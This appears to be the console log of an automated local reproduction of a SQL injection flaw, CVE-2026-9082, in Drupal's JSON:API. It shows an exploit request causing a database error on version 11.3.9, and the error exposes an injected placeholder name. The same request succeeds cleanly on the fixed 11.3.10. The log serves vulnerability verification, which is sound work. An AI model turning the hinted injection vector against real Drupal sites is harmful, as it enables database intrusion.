[*] Starting CVE-2026-9082 reproduction...
[*] Ensuring PostgreSQL is running...
[*] Setting up PostgreSQL database...
[*] Preparing Drupal repository...
[*] Installing composer dependencies...
[*] Testing VULNERABLE version 11.3.9...
[*] Installing Drupal 11.3.9...
INSTALL_SUCCESS
[*] Enabling JSON:API and creating test content...
JSON:API module enabled.
Created 'page' content type.
Created page node with nid 1.
Caches cleared.
[*] Starting PHP built-in server on port 8080...
[Fri May 22 05:42:04 2026] PHP 8.4.19 Development Server (http://localhost:8080) started
[*] Sending exploit request to vulnerable version...
[Fri May 22 05:42:06 2026] 127.0.0.1:39398 Accepted
[Fri May 22 05:42:07 2026] Uncaught PHP Exception Drupal\Core\Database\DatabaseExceptionWrapper: "SQLSTATE[HY093]: Invalid parameter number: parameter was not defined: SELECT "base_table"."vid" AS "vid", "base_table"."nid" AS "nid"
FROM
"node" "base_table"
INNER JOIN "node_field_data" "node_field_data" ON "node_field_data"."nid" = "base_table"."nid"
INNER JOIN "node_field_data" "node_field_data_2" ON "node_field_data_2"."nid" = "base_table"."nid"
INNER JOIN "node_field_data" "node_field_data_3" ON "node_field_data_3"."nid" = "base_table"."nid"
WHERE ((LOWER("node_field_data"."title") = (LOWER(:node_field_data_title`)))) AND ("node_field_data_2"."status" = :db_condition_placeholder_0) AND ("node_field_data_3"."type" = :db_condition_placeholder_1)
GROUP BY "base_table"."vid", "base_table"."nid"
LIMIT 51 OFFSET 0; Array
(
    [:node_field_data_title`] => x
    [:db_condition_placeholder_0] => 1
    [:db_condition_placeholder_1] => page
)
" at /root/.pruva/runs/cve-2026-9082_20260522-053050/external/drupal/core/lib/Drupal/Core/Database/ExceptionHandler.php line 66
[Fri May 22 05:42:07 2026] 127.0.0.1:39398 Closing
[+] VULNERABILITY CONFIRMED: HTTP 500 with SQLSTATE[HY093]
[*] Testing FIXED version 11.3.10...
[*] Installing Drupal 11.3.10...
INSTALL_SUCCESS
[*] Enabling JSON:API and creating test content...
JSON:API module enabled.
Created 'page' content type.
Created page node with nid 1.
Caches cleared.
[*] Starting PHP built-in server on port 8080...
[Fri May 22 05:42:14 2026] PHP 8.4.19 Development Server (http://localhost:8080) started
[*] Sending exploit request to fixed version...
[Fri May 22 05:42:16 2026] 127.0.0.1:45724 Accepted
[Fri May 22 05:42:17 2026] 127.0.0.1:45724 Closing
[+] FIX CONFIRMED: HTTP 200, no SQL injection error
[*] Reproduction complete.
    - Vulnerable (11.3.9): SQLSTATE[HY093] error (SQL injection confirmed)
    - Fixed (11.3.10): HTTP 200 with empty data (injection blocked)